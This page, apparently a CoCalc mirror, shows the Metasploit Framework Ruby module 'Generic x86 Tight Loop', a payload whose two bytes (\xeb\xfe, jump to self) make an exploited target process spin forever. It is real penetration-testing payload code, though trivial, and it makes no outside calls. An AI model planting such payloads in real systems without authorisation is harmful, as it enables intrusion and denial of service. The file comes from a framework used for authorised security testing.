CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/generic/tight_loop.rb
Views: 11766
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
module MetasploitModule
8
9
CachedSize = 2
10
11
include Msf::Payload::Single
12
13
def initialize(info = {})
14
super(merge_info(info,
15
'Name' => 'Generic x86 Tight Loop',
16
'Description' => 'Generate a tight loop in the target process',
17
'Author' => 'jduck',
18
'Platform' => %w{ bsd bsdi linux osx solaris win },
19
'License' => MSF_LICENSE,
20
'Arch' => ARCH_X86,
21
'Payload' =>
22
{
23
'Payload' => "\xeb\xfe" # jump to self
24
}
25
))
26
end
27
end
28
29